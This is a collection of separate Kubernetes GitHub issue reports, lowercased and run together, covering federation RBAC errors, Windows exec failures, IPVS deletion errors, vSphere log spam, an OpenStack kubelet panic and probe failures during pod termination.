cannot get the same port again.\r \r enable  host port mapping  can generate the host port randomly so that end user will not need to specify the host port.

it's continuously failing during the federation-up step, due to the following  seems like mismatch in the registered rbac group version :\r \r    \r w0810 21:38:15.817  i0810 21:38:15.642420    3922 request.go:782  error in request: no kind \ role\  is registered for version \ rbac.authorization.k8s.io/v1\ \r w0810 21:38:15.817  f0810 21:38:15.642497    3922 helpers.go:120  error: no kind \ role\  is registered for version \ rbac.authorization.k8s.io/v1\ \r    \r \r recently opened prs are affected due to this:\r https://github.com/kubernetes/kubernetes/pull/50458\r https://github.com/kubernetes/kubernetes/pull/50459\r https://github.com/kubernetes/kubernetes/pull/50513\r https://github.com/kubernetes/kubernetes/pull/50517\r \r strangely, this one went through:\r https://github.com/kubernetes/kubernetes/pull/50514\r \r cc @kubernetes/sig-federation-bugs @kubernetes/test-infra-maintainers @madhusudancs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-storage-bugs \r \r   what happened  :\r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/2339 sig-storage-serial-volume-metrics-should-create-prometheus-metrics-for-volume-provisioning-and-attachdetach \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gci-gce-serial \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:129\r error getting updated metrics for volume_detach\r expected\r     <bool>: false\r to be true\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:197\r    \r

is this a bug report or feature request?  :\r  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy a kubernetes cluster with windows nodes\r 2. deploy any windows pod\r 3. go to kubernetes dashboard, find the pod, and click \ exec\  at the top\r \r \r   what happened  :\r \r this tried to launch  bash  which isn't on windows by default.\r \r \r    \r container dd24fce994bbab4b0376b723e76f1257129492a8829d404d5913cd707bab3868 encountered an error during createprocess: failure in a windows system call: the system cannot find the file specified.  0x2  extra info: {\ applicationname\ :\ \ ,\ commandline\ :\ bash\ ,\ user\ :\ \ ,\ workingdirectory\ :\ c:\\\\\ ,\ environment\ :{\ iis_port\ :\ tcp://10.0.132.120:80\ ,\ iis_port_80_tcp\ :\ tcp://10.0.132.120:80\ ,\ iis_port_80_tcp_addr\ :\ 10.0.132.120\ ,\ iis_port_80_tcp_port\ :\ 80\ ,\ iis_port_80_tcp_proto\ :\ tcp\ ,\ iis_service_host\ :\ 10.0.132.120\ ,\ iis_service_port\ :\ 80\ ,\ iis_service_port_tcp_80_80_vsrhx\ :\ 80\ ,\ kubernetes_port\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp_addr\ :\ 10.0.0.1\ ,\ kubernetes_port_443_tcp_port\ :\ 443\ ,\ kubernetes_port_443_tcp_proto\ :\ tcp\ ,\ kubernetes_service_host\ :\ 10.0.0.1\ ,\ kubernetes_service_port\ :\ 443\ ,\ kubernetes_service_port_https\ :\ 443\ },\ emulateconsole\ :true,\ createstdinpipe\ :true,\ createstdoutpipe\ :true,\ createstderrpipe\ :false,\ consolesize\ : 0,0 }\r container dd24fce994bbab4b0376b723e76f1257129492a8829d404d5913cd707bab3868 encountered an error during createprocess: failure in a windows system call: the system cannot find the file specified.  0x2  extra info: {\ applicationname\ :\ \ ,\ commandline\ :\ sh\ ,\ user\ :\ \ ,\ workingdirectory\ :\ c:\\\\\ ,\ environment\ :{\ iis_port\ :\ tcp://10.0.132.120:80\ ,\ iis_port_80_tcp\ :\ tcp://10.0.132.120:80\ ,\ iis_port_80_tcp_addr\ :\ 10.0.132.120\ ,\ iis_port_80_tcp_port\ :\ 80\ ,\ iis_port_80_tcp_proto\ :\ tcp\ ,\ iis_service_host\ :\ 10.0.132.120\ ,\ iis_service_port\ :\ 80\ ,\ iis_service_port_tcp_80_80_vsrhx\ :\ 80\ ,\ kubernetes_port\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp_addr\ :\ 10.0.0.1\ ,\ kubernetes_port_443_tcp_port\ :\ 443\ ,\ kubernetes_port_443_tcp_proto\ :\ tcp\ ,\ kubernetes_service_host\ :\ 10.0.0.1\ ,\ kubernetes_service_port\ :\ 443\ ,\ kubernetes_service_port_https\ :\ 443\ },\ emulateconsole\ :true,\ createstdinpipe\ :true,\ createstdoutpipe\ :true,\ createstderrpipe\ :false,\ consolesize\ : 0,0 }\r    \r \r   what you expected to happen  :\r \r on windows, it should default to running  cmd.exe  instead\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: azure  steps  https://gist.github.com/patricklang/2cf4b81c9518e531b828a71e4c430332 \r - os  e.g. from /etc/os-release : windows server, version 1709\r \r \r   labels  \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r after a hpa scaledown, failed to delete rs, this is the logs:\r    \r e1113 18:48:44.010713    9987 graceful_termination.go:89  try delete rs \ 169.169.218.191:80/tcp/172.20.42.128:80\  err: failed to delete rs \ 169.169.218.191:80/tcp/172.20.42.128:80\ , can't find the real server\r e1113 18:49:44.011275    9987 graceful_termination.go:89  try delete rs \ 169.169.218.191:80/tcp/172.20.42.128:80\  err: failed to delete rs \ 169.169.218.191:80/tcp/172.20.42.128:80\ , can't find the real server\r e1113 18:49:44.011584    9987 graceful_termination.go:89  try delete rs \ 169.169.218.191:80/tcp/172.20.31.175:80\  err: failed to delete rs \ 169.169.218.191:80/tcp/172.20.31.175:80\ , can't find the real server\r    \r \r   what you expected to happen  :\r delete rs successfully after scaledown\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r it seems that only on node the vip is using will failed to delete rs. other node delete rs successfully.\r \r node that vip was not using:\r    \r tcp  169.169.218.191:80 rr\r   -> 172.20.2.81:80               masq    1      0          0         \r   -> 172.20.10.73:80              masq    1      0          0         \r   -> 172.20.31.175:80             masq    1      0          0         \r   -> 172.20.37.54:80              masq    1      0          0         \r   -> 172.20.38.80:80              masq    1      0          0         \r   -> 172.20.41.86:80              masq    1      0          0         \r   -> 172.20.49.11:80              masq    1      0          0         \r   -> 172.20.60.11:80              masq    1      0          0         \r   -> 172.20.61.16:80              masq    1      0          0\r    \r \r node with using vip\r    \r tcp  169.169.218.191:80 rr\r   -> 172.20.2.81:80               masq    1      0          1515      \r   -> 172.20.10.73:80              masq    1      0          1523      \r   -> 172.20.16.74:80              masq    1      0          709       \r   -> 172.20.21.86:80              masq    1      0          694       \r   -> 172.20.31.175:80             masq    1      0          1521      \r   -> 172.20.37.54:80              masq    1      0          1536      \r   -> 172.20.38.80:80              masq    1      1          1519      \r   -> 172.20.39.111:80             masq    1      0          693       \r   -> 172.20.40.85:80              masq    1      0          706       \r   -> 172.20.41.86:80              masq    1      0          1517      \r   -> 172.20.42.129:80             masq    1      0          686       \r   -> 172.20.44.101:80             masq    1      0          690       \r   -> 172.20.49.11:80              masq    1      1          1540      \r   -> 172.20.57.14:80              masq    1      0          693       \r   -> 172.20.59.9:80               masq    1      0          703       \r   -> 172.20.60.11:80              masq    1      1          1507 \r    \r   environment  : \r - kubernetes version  use  kubectl version  :  1.12.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : 3.10\r - install tools: binary\r - others:\r \r <!-- do not edit below this line -->\r 

on kubernetes v1.13.4 nodes with the vsphere cloud provider i see a lot of log spam  15k messages in one hour, with many duplicate messages logged just microseconds apart  like this one:\r    \r mar 09 15:56:25 k8s-05 kubelet 723 : w0309 15:56:25.535447     723 vsphere.go:576  failed to patch ip as mac address \ f2:1e:64:xx:xx:xx\  does not belong to a vmware platform\r    \r this mac address belongs to the  kube-ipvs0  interface which is  afaik  created by kube-proxy running in ipvs mode. i see the same message for the mac address belonging to the  cni0  interface created by flannel.\r \r i see a few issues here:\r 1. the vsphere cloud provider tries to detect ip addresses for kube-proxy and cni network interfaces;\r 2. when the mac address does not have a known vmware prefix this gets logged as a warning instead of a debug message;\r 3. this process is apparently retried thousands of times per hour and in quick succession.

the   kubelet   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l480  struct definition is almost 200 lines, with over 70 fields. those fields are a mix of stateful values, static configuration, and helper objects.  i propose factoring out a  kubeletconfig  object to house all of the static configuration parameters  such as  maxpods ,  hostname ,  nodename , etc. . this will reduce a lot of the plumbing which is currently necessary for adding new configuration values  such as flags , and also make kubelet construction and definition much more readable. there alread exists a  'kubeletconfig'  https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l884  which has a lot in common with the proposed type, but also includes some stateful values such as  record.eventrecorder  and  client.client   /cc @kubernetes/goog-node

the logging message  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l415  leads to log lines like:      i1217 11:45:52.541009   31579 factory.go:386  backing off 16s for pod &{32000000000 {63585967552 541004994 0x4b19880} 1}      which aren't terribly useful.

fyi. i am using docker  1.8.2  and kubernetes  1.1.2 , and just attach one node to the master. i create some pods using  kubectl , and the pods are all running. then i use  kill -15 docker  to kill the docker daemon process on the node, when the docker daemon process down, i query the pods status on master, they are all running. even after ten minutes, the pods are still in running status. of course from the source code, the kubelet main loop will check the container runtime up status and log the error. i am wondering simple logging is not enough, maybe we should report this to api server.

kubernetes version: 1.1.0-0.4.git2bfa9a1.el7  os:centos linux release 7.1.1503  core   the kubelet keeps failing with the following:      dec 24 03:13:22 localhost kubelet: i1224 03:13:22.563665   20056 manager.go:158  machine: {numcores:1 cpufrequency:2992788 memorycapacity:1929773056 machineid:19d82c8902374e7caa655973bd7a6e6a systemuuid:b75ef5e2-cca7-4c77-9a75-98b1978da33c bootid:7bf3d099-ab48-41ce-b91b-cacf7dfccf9d filesystems: {device:/dev/vda1 capacity:21456445440}  diskmap:map 252:0:{name:dm-0 major:252 minor:0 size:107374182400 scheduler:none} 253:0:{name:vda major:253 minor:0 size:21474836480 scheduler:none}  networkdevices: {name:eth0 macaddress:fa:16:3e:5d:3c:38 speed:0 mtu:1500} {name:flannel0 macaddress: speed:10 mtu:1472}  topology: {id:0 memory:2147074048 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} }  caches:  }  cloudprovider:unknown instancetype:unknown} dec 24 03:13:22 localhost docker: time=\ 2015-12-24t03:13:22.570268941z\  level=info msg=\ get /version\  dec 24 03:13:22 localhost kubelet: i1224 03:13:22.570915   20056 manager.go:165  version: {kernelversion:3.10.0-229.7.2.el7.x86_64 containerosversion:centos linux 7  core  dockerversion:1.8.2-el7.centos cadvisorversion:0.16.0} dec 24 03:13:22 localhost kubelet: panic: runtime error: invalid memory address or nil pointer dereference dec 24 03:13:22 localhost kubelet:  signal 0xb code=0x1 addr=0x0 pc=0x57062d  dec 24 03:13:22 localhost kubelet: goroutine 1  running : dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/pkg/cloudprovider/openstack.  openstack .instances 0x0, 0x0, 0x0, 0xa  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/openstack/openstack.go:163 +0x8ed dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/cmd/kubelet/app.runkubelet 0xc8200cc000, 0x0, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:616 +0x13c dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/cmd/kubelet/app.  kubeletserver .run 0xc820238000, 0xc8200cc000, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:410 +0x84b dec 24 03:13:22 localhost kubelet: main.main   dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:46 +0xab dec 24 03:13:22 localhost kubelet: goroutine 17  syscall, locked to thread : dec 24 03:13:22 localhost kubelet: runtime.goexit   dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/runtime/asm_amd64.s:1696 +0x1 dec 24 03:13:22 localhost kubelet: goroutine 5  chan receive : dec 24 03:13:22 localhost kubelet: github.com/golang/glog.  loggingt .flushdaemon 0x1c8b7a0  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/godeps/_workspace/src/github.com/golang/glog/glog.go:879 +0x67 dec 24 03:13:22 localhost kubelet: created by github.com/golang/glog.init.1 dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/godeps/_workspace/src/github.com/golang/glog/glog.go:410 +0x297 dec 24 03:13:22 localhost kubelet: goroutine 13  syscall : dec 24 03:13:22 localhost kubelet: os/signal.loop   dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/os/signal/signal_unix.go:22 +0x18 dec 24 03:13:22 localhost kubelet: created by os/signal.init.1 dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/os/signal/signal_unix.go:28 +0x37 dec 24 03:13:22 localhost kubelet: goroutine 16  sleep : dec 24 03:13:22 localhost kubelet: time.sleep 0x12a05f200  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/runtime/time.go:59 +0xf9 dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/pkg/util.until 0x15589a0, 0x12a05f200, 0x0  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/util/util.go:113 +0x61 dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/pkg/util.forever 0x15589a0, 0x12a05f200  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/util/util.go:93 +0x34 dec 24 03:13:22 localhost kubelet: created by k8s.io/kubernetes/pkg/util.initlogs dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/util/logs.go:50 +0xae dec 24 03:13:22 localhost kubelet: goroutine 31  io wait : dec 24 03:13:22 localhost kubelet: net.runtime_pollwait 0x7f19addac638, 0x72, 0xc820010120  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/runtime/netpoll.go:157 +0x60 dec 24 03:13:22 localhost kubelet: net.  polldesc .wait 0xc82022f100, 0x72, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/fd_poll_runtime.go:73 +0x3a dec 24 03:13:22 localhost kubelet: net.  polldesc .waitread 0xc82022f100, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/fd_poll_runtime.go:78 +0x36 dec 24 03:13:22 localhost kubelet: net.  netfd .accept 0xc82022f0a0, 0x0, 0x7f19addad7b8, 0xc8204d1a80  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/fd_unix.go:408 +0x27c dec 24 03:13:22 localhost kubelet: net.  tcplistener .accepttcp 0xc8200264d8, 0xc820034d98, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/tcpsock_posix.go:249 +0x4d dec 24 03:13:22 localhost kubelet: net/http.tcpkeepalivelistener.accept 0xc8200264d8, 0x0, 0x0, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/http/server.go:2092 +0x41 dec 24 03:13:22 localhost kubelet: net/http.  server .serve 0xc820016f00, 0x7f19addad780, 0xc8200264d8, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/http/server.go:1841 +0xb3 dec 24 03:13:22 localhost kubelet: net/http.  server .listenandserve 0xc820016f00, 0x0, 0x0  dec 24 03:13:22 localhost kubelet: /usr/lib/golang/src/net/http/server.go:1831 +0x136 dec 24 03:13:22 localhost kubelet: k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .exporthttp.func1 0xc820016f00, 0x1062  dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:99 +0x6a dec 24 03:13:22 localhost kubelet: created by k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .exporthttp dec 24 03:13:22 localhost kubelet: /builddir/build/build/kubernetes-2bfa9a1f98147cfdc2e9f4cf50e2c430518d91eb/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:105 +0x3ac dec 24 03:13:22 localhost systemd: kubelet.service: main process exited, code=exited, status=2/invalidargument dec 24 03:13:22 localhost systemd: unit kubelet.service entered failed state. dec 24 03:13:22 localhost systemd: kubelet.service holdoff time over, scheduling restart. dec 24 03:13:22 localhost systemd: stopping kubernetes kubelet server... dec 24 03:13:22 localhost systemd: starting kubernetes kubelet server... dec 24 03:13:22 localhost systemd: kubelet.service start request repeated too quickly, refusing to start. dec 24 03:13:22 localhost systemd: failed to start kubernetes kubelet server. dec 24 03:13:22 localhost systemd: unit kubelet.service entered failed state.      kublet config:            kubernetes kubelet  minion  config    the address for the info server to serve on  set to 0.0.0.0 or \ \  for all interfaces  kubelet_address=\ --address=0.0.0.0\     the port for the info server to serve on   kubelet_port=\ --port=10250\     you may leave this blank to use the actual hostname kubelet_hostname=\ kube-node1\     location of the api-server kubelet_api_server=\ --api-servers=http://kube-master:8080\     add your own! kubelet_args=\ --cloud-provider=openstack --cloud-config=/etc/kubernetes/cloud-config\   root@kube-node1 kubernetes        config:            kubernetes system config     the following values are used to configure various aspects of all   kubernetes services, including       kube-apiserver.service     kube-controller-manager.service     kube-scheduler.service     kubelet.service     kube-proxy.service   logging to stderr means we get it in the systemd journal kube_logtostderr=\ --logtostderr=true\     journal message level, 0 is debug kube_log_level=\ --v=0\     should this cluster be allowed to run privileged docker containers kube_allow_priv=\ --allow-privileged=false\     how the controller-manager, scheduler, and proxy find the apiserver kube_master=\ --master=http://kube-master:8080\       cloud-config:       global  auth-url = http://172.200.1.5/v2.0 user-id = nova api-key = password region = regionone tenant-id = service tenant-name = service      not sure what i am missing here. been at it for hours, unfortunately the code for the openstack provider does not tell you when a param is missing, or malformed. any help would be appreciated.

once  21987 merges, we should use the same approach for addsecuritygroupingress / removesecuritygroupingress

this is really a  rkt issue  https://github.com/coreos/rkt/issues/2937 , but i think it's worth tracking in the kubernetes repository as well.\r \r essentially when the remote docker image has not changed at all, rkt will still download all the bytes again for  --no-store  fetch  which is now the default behaviour .\r \r this is especially noticeable if the image is large and the tag is latest because the default  imagepullpolicy  of  ifnotpresent , for latest, is interpreted as  always .\r \r the action items we have on the kubernetes side:\r -  x  document for v1.4 in known-issues\r -     update recommended/required rkt version once this issue is fixed in upstream rkt\r \r cc @kubernetes/sig-rktnetes \r

documenting the list of known issues with federated ingress:\r \r issues that need to be fixed soon:\r -  x  need to create a firewall rule. users will have to create it manually pre 1.5. document it. create it in the test for now and get the tests to turn green  https://github.com/kubernetes/kubernetes/pull/37571 . in 1.6, create it automatically in the controller  https://github.com/kubernetes/kubernetes/issues/37306 .\r -     verify  add a test  and document that users need to create a static ip themselves  by running  gcloud compute addresses create kubernetes-ingress --global   for http load balancer.\r -     gcp ingress does not work for clusters in the same zone  https://github.com/kubernetes/kubernetes/issues/47565 \r -     resource leak due to race condition with service controller  https://github.com/kubernetes/kubernetes/issues/52315 \r \r longer term:\r -     support federated ingress outside gcp. https://github.com/kubernetes/kubernetes/issues/51806

@piosz \r \r the following e2e test is failing in the gce 1.5->1.6 upgrade jobs. please take a look and let me know asap if this is a 1.6 blocker or not  i think it may be a flake, but need you to confirm .\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster-new/18 k8sio-monitoring-should-verify-monitoring-pods-and-all-cluster-nodes-are-available-on-influxdb-using-heapster\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/monitoring.go:44\r expected error:\r     < errors.errorstring | 0xc421d5ef10>: {\r         s: \ expected to find one replica for rc or deployment with label heapster but got 0\ ,\r     }\r     expected to find one replica for rc or deployment with label heapster but got 0\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/monitoring.go:290

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : virtualbox\r -   os    e.g. from /etc/os-release : ubuntu:14.04\r -   kernel    e.g.  uname -a  : 3.16.0-30-generic\r -   install tools  : manually installed. etcd and kubelet run on host, other components run in container.\r -   others  :\r \r \r   what happened  :\r in my kubernetes cluster, each node is a virtualbox vm with two nics, eth0 for nat and eth1 for host-local communicating.\r \r kubectl get pod --all-namespaces -o wide shows\r \r ! image  https://cloud.githubusercontent.com/assets/3380642/25217908/4392efa0-25db-11e7-97bb-e93b0952f20a.png \r \r we can see k8s-3 and k8s-4 reports correct ips while k8s-2 doesn't.\r \r   what you expected to happen  :\r k8s-2 should have ip address 192.168.99.202.\r i've tried to add --bind-address=192.168.99.202 in k8s-2's kube-proxy.yaml but it just don't work.\r \r   how to reproduce it    as minimally and precisely as possible :\r i just install the cluster normally, but k8s-2 behaves differently to k8s-3 and k8s-4. it's really hard to say 'how to reproduce it'.\r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r \r   what happened  :\r  kubectl get   in kubectl 1.7.0 and cluster 1.7.0\r \r    \r you must specify the type of resource to get. valid resource types include:\r \r       all\r       certificatesigningrequests  aka 'csr' \r       clusterrolebindings\r       clusterroles\r       clusters  valid only for federation apiservers \r       componentstatuses  aka 'cs' \r       configmaps  aka 'cm' \r       controllerrevisions\r       cronjobs\r       daemonsets  aka 'ds' \r       deployments  aka 'deploy' \r       endpoints  aka 'ep' \r       events  aka 'ev' \r       horizontalpodautoscalers  aka 'hpa' \r       ingresses  aka 'ing' \r       jobs\r       limitranges  aka 'limits' \r       namespaces  aka 'ns' \r       networkpolicies  aka 'netpol' \r       nodes  aka 'no' \r       persistentvolumeclaims  aka 'pvc' \r       persistentvolumes  aka 'pv' \r       poddisruptionbudgets  aka 'pdb' \r       podpreset\r       pods  aka 'po' \r       podsecuritypolicies  aka 'psp' \r       podtemplates\r       replicasets  aka 'rs' \r       replicationcontrollers  aka 'rc' \r       resourcequotas  aka 'quota' \r       rolebindings\r       roles\r       secrets\r       serviceaccounts  aka 'sa' \r       services  aka 'svc' \r       statefulsets\r       storageclasses\r       thirdpartyresources\r    \r \r   what you expected to happen  :\r there is an  customresourcedefinition  in the list and tells the short-cut was  crd .\r \r   how to reproduce it  as minimally and precisely as possible   :\r none\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kube-apiserver.service running error ：code=exited, status=203/exec \r more details from  50415 \r \r when i start apiserver, it failed directly with status=203, since configure of apiserver isnot so complicated ,where maybe faults reasons.........\r \r thanks anyone help!!\r \r btw， how to added sig? the code below seems not work at all\r 

current rc make all pods replicas homogeneous.\r can i specify each pod with distinct configuration?or does k8s has support for this ?\r \r our sotuation is:\r we create pod by using rc and we need each pod with different volume config.each of them has its own lv partition lvm volume

what happened  :\r liveness/readiness probe fails while pod is terminated. also it happened only once during the pod termination. the issue started happening after upgrading version  to v1.7 from v1.6.x \r \r   how to reproduce it  as minimally and precisely as possible   :\r execute  kubectl delete pod nginx-a1  to delete pod, so status of the nginx-poda1 is changed to  terminating , right after that it seems liveness and readiness probe is executed and failed, but only once.\r nginx reverse proxy is running in the pod. so i just use  httpget method for liveness and readiness\r \r here is my deployment config.\r     yaml\r    ...\r    spec:\r       terminationgraceperiodseconds: 60\r         ...\r         livenessprobe:\r           httpget:\r             path: /healthz\r             port: 8080\r           initialdelayseconds: 15\r           timeoutseconds: 3\r         readinessprobe:\r           httpget:\r             path: /healthz\r             port: 8080\r           initialdelayseconds: 15\r           timeoutseconds: 3\r    \r \r here is events log by  kubectl describe pod nginx-a1 \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t-------------\t\t\t--------\t------\t\t-------\r   14s\t\t14s\t\t1\tkubelet,      \tspec.containers{dnsmasq}\tnormal\t\tkilling\t\tkilling container with id docker://dnsmasq:need to kill pod\r   9s\t\t9s\t\t1\tkubelet,      \tspec.containers{nginx}\t\twarning\t\tunhealthy\tliveness probe failed: get http://100. . . :8080/healthz: dial tcp 100. . . :8080: getsockopt: connection refused\r   9s\t\t9s\t\t1\tkubelet,      \tspec.containers{nginx}\t\twarning\t\tunhealthy\treadiness probe failed: get http://100. . . :8080/healthz: dial tcp 100. . . :8080: getsockopt: connection refused\r \r    \r \r   environment  :\r - kubernetes version: 1.7.2\r

is this a bug report or feature request?  :\r \r  \r audit policyrule should support wildcard matching , for example using resource \ pods/ \  can match all pods subresources, like \ pods/log\  \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r /area ipvs\r \r \r   what happened  :\r \r delete a nodeport service, ipvs proxier will report error:\r \r    \r failed to unbind service from dummy interface, error: no such ip address\r    \r \r that's because we didn't bind nodeport ip address to dummy device.\r \r   what you expected to happen  :\r \r ignore nodeport ip address unbind error - ignore address not exist error when unbind ipvs serivce address from dummy device \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a nodeport service in ipvs mode.\r \r   delete it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r the equivalence cache feature is planned to move to beta in 1.11, and it would be useful to have some metrics attached to it. the equivalence cache should improve scheduling throughput, so we want to be able to correlate e.g. throughput with ecache hit rate.\r \r  

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   what happened  :\r \r 1. set up kubernetes v1.10 cluster with vsphere cloud provider enabled.\r 2. create a deployment nginx using some vsphere persistent volume.\r 3. shutdown node where nginx pod is running. the nginx pod will be scheduled to another ready node.\r 4. try to start above node was shutting off. the node cannot be started because attached vmdk volume.\r 5. after manually removed the vmdk volume from the node, the node can be started.\r \r   what you expected to happen  :\r \r after node was shut down, vsphere volume plugin should be able to detach volume from the node when pod was removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above steps.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: \r - others:\r

